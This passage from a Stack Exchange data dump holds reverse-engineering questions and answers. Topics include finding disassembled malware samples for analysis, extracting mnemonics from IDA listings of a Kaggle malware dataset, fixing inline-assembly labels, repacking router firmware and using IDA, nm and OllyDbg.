OwnerUserId="17062" LastActivityDate="2016-08-10T20:15:49.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13256" PostTypeId="1" AcceptedAnswerId="13276" CreationDate="2016-08-11T07:14:48.540" Score="0" ViewCount="836" Body="&lt;p&gt;Hopefully this question &lt;strong&gt;isn't get marked as Duplicate&lt;/strong&gt;, since it differs from the following question:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;Where can I, as an individual, get malware samples to analyze?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for samples (ideally malware) which have already been disassembled. The only useful resource which I could found so far was a dataset provided on &lt;a href=&quot;https://www.kaggle.com/c/malware-classification/&quot; rel=&quot;nofollow noreferrer&quot;&gt;kaggle&lt;/a&gt;. However, the only note how the &lt;code&gt;ASM&lt;/code&gt; files have been generated is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This was generated using the IDA disassembler tool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My problem:&lt;/strong&gt;&#xA;There are no details about the specifice process of disassembling: I could not find any additional information if or how the disassembler considers special obfuscation mechanisms and if it could be ensured, that the files contain meaningful assembler instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To recall the question:&lt;/strong&gt; I'm looking for malware samples (windows) with the corresponding disassembly to download in bulk, which have been ideally counterchecked for meaningful instructions (e.g. constant code of the malware).&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-08-13T05:55:23.220" Title="Malware samples to analyze with existing disassembly?" Tags="|disassembly|windows|malware|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13257" PostTypeId="2" ParentId="8400" CreationDate="2016-08-11T07:54:27.690" Score="3" Body="&lt;p&gt;As I'm working with the malware samples provided by &lt;a href=&quot;https://www.kaggle.com/c/malware-classification/data&quot; rel=&quot;nofollow noreferrer&quot;&gt;kaggle&lt;/a&gt; too, I faced the same problem. I found a solution by the processing in two steps, which extracts all the &lt;code&gt;mnemonics&lt;/code&gt; used in the complete set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/strong&gt; As I'm not finished with my work yet, I'm not able to post the full script. The real implementation is realized with threading and the process takes roughly one hour for all 9 families. Addtionally the solution is not perfect and with good performance - rather a dirty fix.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Step:&lt;/strong&gt; Roughly cleaning the &lt;code&gt;IDA&lt;/code&gt; listing format of an &lt;code&gt;INPUT.ASM&lt;/code&gt; into an &lt;code&gt;OUTPUT.ASM&lt;/code&gt; (extraction from my script; see the discussion for this step &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13192/convert-ida-listings-to-assembly-without-using-ida-non-free&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/strong&gt; It should be mentioned that ignore &lt;code&gt;dd&lt;/code&gt; like instructions. Additionally I keep the subroutines and basic blocks delimeted by &lt;code&gt;====&lt;/code&gt; and &lt;code&gt;-----&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;grep -E '^.text:*' INPUT.ASM | grep -v align | grep -E '^.{10,15}[0-9A-F]{2} *|=======================|-----------------------------------' | sed 's/\t/           /g' | grep -v ' dq ' | grep -v ' dd ' | grep -v ' db ' | grep -v ' dw ' | cut -c100-200 |  sed -e 's/^[ \t]*//' | tr -s [:blank:] | cut -d ';' -f1 &gt; OUTPUT1.ASM&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Step:&lt;/strong&gt; Process the cleaned &lt;code&gt;OUTPUT.ASM&lt;/code&gt; in python (extraction from my script)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;#!/usr/bin/python&#xA;mneLocal = set()&#xA;with open('OUTPUT.ASM') as oFile:&#xA;    for line in oFile.readlines():&#xA;        mne = line.split(&quot; &quot;)[0]&#xA;        if mne[0] != '-' and mne[0] != '=' and len(mne)&amp;le;6 and not mne[0].isdigit() and mne.islower():&#xA;            mneLocal.add(mne)&#xA;print(mneLocal)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Output:&lt;/strong&gt; Applied on the &lt;code&gt;Ramnit&lt;/code&gt; dataset&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;set(['jns', 'fbstp', 'jnp', 'rol', 'psrlw', 'fld1', 'jnz', 'movd', 'imul', 'lds', 'jnb', 'psrlq', 'cdq', 'psrld', 'pand', 'pfmax', 'ror', 'fxch', 'jno', 'dt', 'fisub', 'movq', 'cmps', 'arpl', 'pi2fd', 'pfmin', 'cld', 'nop', 'pf2id', 'maxss', 'add', 'jcxz', 'adc', 'fadd', 'pf2iw', 'fistp', 'setbe', 'aad', 'maxps', 'fmulp', 'movzx', 'fdivp', 'fdivr', 'femms', 'not', 'repe', 'cmc\r\n', 'svts', 'repne', 'shr', 'pfadd', 'sgdt', 'mulps', 'leave', 'div', 'mulpd', 'shl', 'btc', 'cmp', 'rcpps', 'psubd', 'psubb', 'bts', 'btr', 'loope', 'jle', 'pandn', 'fist', 'out', 'fstcw', 'cbw\r\n', 'xor', 'sub', 'neg', 'rep', 'lddqu', 'jge', 'movs', 'pfrcp', 'fdiv', 'jecxz', 'xchg', 'mul', 'pavgb', 'lea', 'ficom', 'pfsub', 'jz', 'addpd', 'jp', 'subsd', 'js', 'bt', 'fidiv', 'daa\r\n', 'jo', 'clc\r\n', 'lods', 'jg', 'ja', 'jb', 'addps', 'jl', 'cmovz', 'movsd', 'cld\r\n', 'xorpd', 'les', 'cmovl', 'subss', 'movsx', 'xlat', 'cmova', 'cmovb', 'nop\r\n', 'sbb', 'or', 'cmovg', 'shrd', 'fsub', 'por', 'bound', 'pop', 'setnb', 'fmul', 'pabsw', 'subps', 'minsd', 'minss', 'sti\r\n', 'xadd', 'cdq\r\n', 'setnl', 'retf', 'faddp', 'retn', 'rcr', 'rcl', 'pslld', 'call', 'setnz', 'das\r\n', 'aas\r\n', 'setns', 'setnp', 'sldt', 'ptest', 'fcomi', 'divps', 'jmp', 'rcpss', 'ffree', 'lgdt', 'pfacc', 'utes', 'shld', 'fcomp', 'fsave', 'psraw', 'aam', 'subpd', 'fstsw', 'psrad', 'pxor', 'fsubp', 'fsubr', 'fldcw', 'dec', 'fld', 'loop', 'and', 'addsd', 'cmovs', 'fldz', 'psubq', 'sal', 'int', 'lock', 'andpd', 'in', 'fucom', 'ud2\r\n', 'addss', 'fild', 'sar', 'scas', 'psllw', 'andps', 'bswap', 'inc', 'mulss', 'paddd', 'std\r\n', 'paddb', 'psubw', 'stc\r\n', 'idiv', 'psllq', 'paddw', 'cli\r\n', 'mulsd', 'paddq', 'test', 'setp', 'fiadd', 'hnt', 'orpd', 'enter', 'minps', 'bsr', 'mov', 'orps', 'fstp', 'xorps', 'setle', 'bsf', 'fo', 'pfmul', 'movss', 'setb', 'aaa\r\n', 'setl', 'divsd', 'fimul', 'seto', 'fcom', 'hlt\r\n', 'jbe', 'fst', 'divss', 'sets', 'push', 'pavgw', 'setz'])&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-08-11T07:54:27.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13258" PostTypeId="2" ParentId="13246" CreationDate="2016-08-11T09:03:22.833" Score="3" Body="&lt;p&gt;Having been interested in the subject for performance reasons - also curiosity - I couldn't manage to find much &quot;&lt;strong&gt;reverse engineering&lt;/strong&gt;&quot; research on the subject. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I found very interesting information in the field of digital forensics. Information which can help understand some peculiar aspects of SSD, and memory in general.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find an introductory set of links which provides valuable information at the bottom :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.forensicswiki.org/wiki/Solid_State_Drive_(SSD)_Forensics&quot; rel=&quot;nofollow&quot;&gt;http://www.forensicswiki.org/wiki/Solid_State_Drive_(SSD)_Forensics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digital-assembly.com/technology/research/talks/challenges-of-ssd-forensic-analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;http://digital-assembly.com/technology/research/talks/challenges-of-ssd-forensic-analysis.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://articles.forensicfocus.com/2014/09/23/recovering-evidence-from-ssd-drives-in-2014-understanding-trim-garbage-collection-and-exclusions/&quot; rel=&quot;nofollow&quot;&gt;https://articles.forensicfocus.com/2014/09/23/recovering-evidence-from-ssd-drives-in-2014-understanding-trim-garbage-collection-and-exclusions/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.macworld.com/article/1158234/ssdfirmware.html&quot; rel=&quot;nofollow&quot;&gt;http://www.macworld.com/article/1158234/ssdfirmware.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.forensicmag.com/article/2013/05/forensic-insight-solid-state-drives&quot; rel=&quot;nofollow&quot;&gt;https://www.forensicmag.com/article/2013/05/forensic-insight-solid-state-drives&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope you'll find what you're looking for or at least get close.&#xA;Enjoy !&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2016-08-11T09:14:14.963" LastActivityDate="2016-08-11T09:14:14.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13259" PostTypeId="2" ParentId="12487" CreationDate="2016-08-11T09:33:40.797" Score="0" Body="&lt;p&gt;I also noticed what IyoIyo mentioned about the clubsData (I'm using the Pidgin XMPP client to connect to Riot's chat servers), and have been trying to determine what to do with that data. I've been trying to join my own club in which I know the actual name, but I'm stuck at the UUID step too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, I haven't made much progress but I was wondering if any of you has figured this issue out in the meantime - finding the room name of a club in order to join, assuming its server is &quot;pgc.pvp.net&quot; as Amos mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pardon my &quot;answer&quot; post as I also stumbled upon this issue recently and literally just made a SE account to reply to this thread lol.&lt;/p&gt;&#xA;" OwnerUserId="17065" LastEditorUserId="17065" LastEditDate="2016-08-11T09:39:00.593" LastActivityDate="2016-08-11T09:39:00.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13261" PostTypeId="1" AcceptedAnswerId="13265" CreationDate="2016-08-11T14:17:50.960" Score="0" ViewCount="1571" Body="&lt;p&gt;I am currently learning how to hook some functions, and I simply want to insert this simple inline assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__asm {&#xA;    CMP [ebp + 8], 1&#xA;    JNZ short 01311723&#xA;    jmp [jmpBackAddy]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Visual Studio gives me that error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Severity  Code    Description Project File    Line    Suppression State&#xA;  Error   C2400   inline assembler syntax error in 'first operand'; found 'constant'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I though I can copy out the assembly of OllyDbg but Visual Studio does not accept it&lt;/p&gt;&#xA;" OwnerUserId="16602" LastEditorUserId="16602" LastEditDate="2016-08-11T15:56:53.707" LastActivityDate="2016-08-11T21:39:11.873" Title="Inline assembly does not compile" Tags="|assembly|c++|function-hooking|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ClosedDate="2016-08-13T15:18:24.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="13262" PostTypeId="1" CreationDate="2016-08-11T14:52:48.617" Score="0" ViewCount="4571" Body="&lt;p&gt;So, I extracted my router's binary file with binwalk and got the filesystem. I made some changes to the WebUI of the router, and now I want to put it back together into a .bin file so that I can flash my router with it. How do I go about it?&lt;/p&gt;&#xA;" OwnerUserId="17054" LastActivityDate="2017-01-16T08:30:03.163" Title="How can I put a Binwalk extracted firmware back into a .bin binary file?" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13264" PostTypeId="2" ParentId="13253" CreationDate="2016-08-11T18:48:46.417" Score="1" Body="&lt;p&gt;&lt;em&gt;You may be able to reverse engineer the Javascript, CSS, and HTML, but not PHP or ASP.&lt;/em&gt; Using PHP as an example, if you have a command &lt;code&gt;echo &quot;foo&quot;;&lt;/code&gt;, the echo code gets executed on the server itself, and you see only the &quot;foo&quot; in the HTML you get. If you want to get PHP, you should test the functionality of the webpage, and hand-code the PHP accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not need to reverse-engineer CSS. You can simply copy it from the HTML if it's inline, and &lt;a href=&quot;http://curl.haxx.se&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; the CSS from the link element, or simply use Chrome's dev tools to find the location and source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reverse-engineer Javascript, I heavily recommend using Chrome's developer tools. Features include a JS console, pretty printing (making obfuscated code way easier to read by spacing out), a timeline to see when different functions are called, a debugger with breakpoints, and a sources section to see the script's location.&lt;/p&gt;&#xA;" OwnerUserId="15199" LastActivityDate="2016-08-11T18:48:46.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13265" PostTypeId="2" ParentId="13261" CreationDate="2016-08-11T19:32:45.153" Score="4" Body="&lt;p&gt;Yes &lt;code&gt;01311723&lt;/code&gt; is a constant and compiler will not know what it is   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither would compiler know what &lt;code&gt;jmpBackAddy&lt;/code&gt; is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for constant you need to replace it with a label and define the label &#xA;for a label you need to define it in the asm src code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib ,&quot;user32.lib&quot;)&#xA;#pragma comment(lib ,&quot;kernel32.lib&quot;)&#xA;int CALLBACK WinMain( _In_ HINSTANCE,  _In_opt_ HINSTANCE, _In_ LPSTR, _In_ int)&#xA;{&#xA;    MessageBoxA(NULL,&quot;Hello World&quot;,&quot;Hello World&quot;,MB_OK);&#xA;    jmpBackAddy:   &amp;lt;&amp;lt;&amp;lt; defined here  &#xA;    __asm&#xA;    {&#xA;        CMP [ebp + 8], 1&#xA;        JNZ short label&#xA;        jmp [jmpBackAddy]&#xA;    }    &#xA;label:  &amp;lt; defined here &#xA;    MessageBoxA(NULL,&quot;Hello jnz&quot;,&quot;how are you jnz&quot;,MB_OK);&#xA;    ExitProcess(0);        &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo /Zi /EHsc /O1 /analyze /W4 *.cpp /link /release /entry:WinMain&#xA;&#xA;Msgbox.cpp&#xA;e:\test\msgbox\msgbox.cpp(5) : warning C4740: flow in or out of inline asm code suppresses global optimization&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and disassembled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Msgbox!WinMain:&#xA;00021000 55              push    ebp&#xA;00021001 8bec            mov     ebp,esp&#xA;00021003 6a00            push    0&#xA;00021005 6810200200      push    offset Msgbox!`string' (00022010)&#xA;0002100a 6810200200      push    offset Msgbox!`string' (00022010)&#xA;0002100f 6a00            push    0&#xA;00021011 ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]&#xA;&#xA;Msgbox!WinMain+0x17:&#xA;00021017 807d0801        cmp     byte ptr [ebp+8],1&#xA;0002101b 7502            jne     Msgbox!WinMain+0x1f (0002101f)&#xA;&#xA;Msgbox!WinMain+0x1d:&#xA;0002101d ebf8            jmp     Msgbox!WinMain+0x17 (00021017)&#xA;&#xA;Msgbox!WinMain+0x1f:&#xA;0002101f 6a00            push    0&#xA;00021021 681c200200      push    offset Msgbox!`string' (0002201c)&#xA;00021026 682c200200      push    offset Msgbox!`string' (0002202c)&#xA;0002102b 6a00            push    0&#xA;0002102d ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]&#xA;00021033 6a00            push    0&#xA;00021035 ff1500200200    call    dword ptr [Msgbox!_imp__ExitProcess (00022000)]&#xA;0002103b 5d              pop     ebp&#xA;0002103c c21000          ret     10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-08-11T21:39:11.873" LastActivityDate="2016-08-11T21:39:11.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13266" PostTypeId="2" ParentId="13212" CreationDate="2016-08-11T20:50:02.260" Score="4" Body="&lt;p&gt;Unfortunately it seems so that there are no existing publications/statistics from av vendors. Reffered to [A] and the mentioned entropy analysis, 90% of the used samples are obfuscated by a polymorphic technique.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;[A] Toward Generic Unpacking Techniques for Malware Analysis with&lt;/strong&gt;&#xA;  &lt;strong&gt;Quantification of Code Revelation&lt;/strong&gt; - 2009&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps a own analysis could help with a bigger set of malware samples. The following &quot;evalualtion&quot; of me was done with the public available &lt;a href=&quot;https://www.kaggle.com/c/malware-classification/data&quot; rel=&quot;nofollow&quot;&gt;kaggle&lt;/a&gt; malware set. Even if it is not a clear classifcation of the used obfuscation technique of the families, hopefully this approach could help you out or point you to the right direction. &#xA;I did the classifaction with the help of different statistics like entropy value, chi-square distribution and a pi approximation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NORM    COMPR   ENCR&#xA;-----------------------------------------&#xA;581     691     260      Ramnit      &#xA;2475    3       0        Lollipop &#xA;0       10      2932     Kelihos_ver3    &#xA;6       51      418      Vundo   &#xA;3       22      18       Simda  &#xA;233     260     258      Tracur   &#xA;387     4       7        Kelihos_ver1 &#xA;524     667     37       Obfuscator  &#xA;779     219     15       Gatak  &#xA;&#xA;NORM  = non-obfuscated characteristics (i.e. not compressed/encrypted)&#xA;COMPR = compressed or packed characteristics&#xA;ENCR  = encrypted characteristics&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2016-08-12T07:47:46.107" LastActivityDate="2016-08-12T07:47:46.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13270" PostTypeId="1" CreationDate="2016-08-12T11:17:02.913" Score="1" ViewCount="251" Body="&lt;p&gt;Normally, in x86, to load a pointer to a null-terminated string you would use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDX, OFFSET ds:mystring&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In x64, however, I noticed that the compiler does it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rdx, OFFSET FLAT:$mystring ; 'it is ten'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;" OwnerUserId="17079" LastActivityDate="2018-07-22T17:47:34.540" Title="Why does MSVC x64 Compiler load addresses like this?" Tags="|x86|x86-64|pointer|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13271" PostTypeId="1" CreationDate="2016-08-12T12:26:06.930" Score="3" ViewCount="8838" Body="&lt;p&gt;According to IDA docs, we can put a Python plugin into $HOME/.idapro/plugins/ directory. But when I copied my Python plugin there &amp;amp; restart IDA, IDA still do not see that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can go wrong, and how can I debug this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13881" LastActivityDate="2016-08-12T12:26:06.930" Title="Plugin directory in IDA?" Tags="|ida|python|plugin|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13273" PostTypeId="2" ParentId="13270" CreationDate="2016-08-12T21:51:45.993" Score="1" Body="&lt;p&gt;If you disassemble the instructions for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, offset ds:mystring&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rdx, offset ds:mystring&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll notice the LEA instruction length (in bytes) was smaller. Its a compiler optimization! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, it could be the compilers way of addressing pointer arithmetic in an easier manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://www.nynaeve.net/?p=64&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for more info on both.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2016-08-12T21:51:45.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13274" PostTypeId="1" CreationDate="2016-08-12T23:30:44.617" Score="3" ViewCount="1333" Body="&lt;p&gt;assuming i got an statically linked libraries (for example, openssl) inside some binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a good way to resolve the library symbols ? is there any IDA plugin for that job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume that I recognize the library name &amp;amp; version.&lt;/p&gt;&#xA;" OwnerUserId="17084" LastActivityDate="2016-08-13T03:34:02.120" Title="Resolving symbols of statically linked libraries in a binary" Tags="|static-analysis|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13275" PostTypeId="2" ParentId="13274" CreationDate="2016-08-13T03:34:02.120" Score="2" Body="&lt;p&gt;what do you mean by resolve?  if one has access to a some flavor of *nix one could run the nm command on the binaries in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;nm -a&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That command will expose any symbols used in the binaries.  Typically if you see something of the order T or Text next to a symbol it means its available to be called and its probably a function.   Typically if you see a U next to the symbol it generally means the binary is making a call to that function and its 'Undefined' and that's why its got a U next to it. -- The U means it needs to be resolved at run time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in a *nix flavor you can run the file command on the binaries to find out whether they are FAT files or whether they are 16/32/64 or what types of files they are.  You can also use the lipo command to see info about the binaries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they happen to be 64 bit files and you have a debugger handy and pick a symbol of interest.  If the symbol is undocumented you can fairly easily start to figure out its run time parameters by loading it up in a debugger and setting a break point on the symbol.   When the break point is hit go look at the registers, or better yet look at the instructions right before the break point.&#xA;Typically (64 bit) you would see something on the order of registers &lt;strong&gt;RDI&lt;/strong&gt; and &lt;strong&gt;RSI&lt;/strong&gt; being set -- or some portions of &lt;strong&gt;DI&lt;/strong&gt; and &lt;strong&gt;SI&lt;/strong&gt;.  Generally speaking the first argument of a function gets the &lt;strong&gt;DI&lt;/strong&gt; register and the 2nd argument gets the &lt;strong&gt;SI&lt;/strong&gt; register. and if you see results coming back they generally come out through the &lt;strong&gt;RAX&lt;/strong&gt; (or &lt;strong&gt;A&lt;/strong&gt; register).  You can make your own header file with not too much work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot more details if you want to know but there are lots of resources on the net that can be found with a little looking around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would post a comment but don't have enough points to do so.&lt;/p&gt;&#xA;" OwnerUserId="17024" LastActivityDate="2016-08-13T03:34:02.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13276" PostTypeId="2" ParentId="13256" CreationDate="2016-08-13T05:55:23.220" Score="4" Body="&lt;p&gt;The archive of disassembled and analysed malware does not exist - at least I haven't heard of any good ones. The closest I can think of is labs files from &quot;Practical Malware Analysis&quot;, at &lt;a href=&quot;https://practicalmalwareanalysis.com/labs/&quot; rel=&quot;nofollow&quot;&gt;https://practicalmalwareanalysis.com/labs/&lt;/a&gt;. Each of the files is described and analysed in the &quot;Answers&quot; section of the book, including IIRC obfuscated samples, but actual disassembling is left as an exercise for the reader :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to achieve your goal is to look for summary articles on topics that interest you, such as &lt;a href=&quot;https://www.virusbulletin.com/virusbulletin/2014/07/obfuscation-android-malware-and-how-fight-back&quot; rel=&quot;nofollow&quot;&gt;https://www.virusbulletin.com/virusbulletin/2014/07/obfuscation-android-malware-and-how-fight-back&lt;/a&gt; (Android in this case), take hashes listed in them and download (bulk or not, up to you) samples from VirusTotal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rather dated Windows malware analysis set of tutorials with emphasis on reversing - &lt;a href=&quot;https://fumalwareanalysis.blogspot.com.au/p/malware-analysis-tutorials-reverse.html&quot; rel=&quot;nofollow&quot;&gt;https://fumalwareanalysis.blogspot.com.au/p/malware-analysis-tutorials-reverse.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-08-13T05:55:23.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13277" PostTypeId="1" AcceptedAnswerId="13279" CreationDate="2016-08-13T18:04:08.100" Score="0" ViewCount="527" Body="&lt;p&gt;The command bar at the bottom of the output window in IDA defaults to python. I would greatly prefer it to default to IDC, is there a way to change this default? I found one reference to &lt;code&gt;RunPlugin(&quot;python&quot;,4)&lt;/code&gt; &lt;a href=&quot;https://github.com/idapython/src#usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the idapython github repo&lt;/a&gt;, but it's not clear where it should be used. Adding the following line to plugins.cfg also has no effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;plugin_name                     filename    hotkey  arg  flags&#xA;;------------------------------- ----------  ------  ---  --------&#xA;python                           python       0       3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="266" LastEditorUserId="53" LastEditDate="2017-08-20T14:04:13.817" LastActivityDate="2017-08-20T18:21:56.957" Title="IDA command bar default language" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13278" PostTypeId="1" CreationDate="2016-08-13T18:08:02.143" Score="1" ViewCount="736" Body="&lt;p&gt;I am taking Lena Reverse Engineering Tutorial and it uses OllyDbg debugger for its teaching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first chapter, he shows the file in OllyDbg debugger and steps over through it &quot;step by step&quot; until it reaches the end of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems my OllyDbg is not behaving as expected for such command (and file) as once clicked the step over command it runs all the commands in a row without breaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, Immunity Debugger executes the step over command steadily for the same file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the possible problem I am facing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Lena's Ollydbg configuration file provided with the tutorial and its version is 1.10 running on a Windows 10 virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VMucE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VMucE.png&quot; alt=&quot;OllyDbg state before step over&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4BN7s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BN7s.png&quot; alt=&quot;ImmunityDbg state before step over&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17087" LastEditorUserId="17087" LastEditDate="2016-08-15T13:41:08.283" LastActivityDate="2016-08-15T13:41:08.283" Title="OllyDbg step over command not behaving exactly as the Immunity Debugger" Tags="|ollydbg|debugging|debuggers|dynamic-analysis|immunity-debugger|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
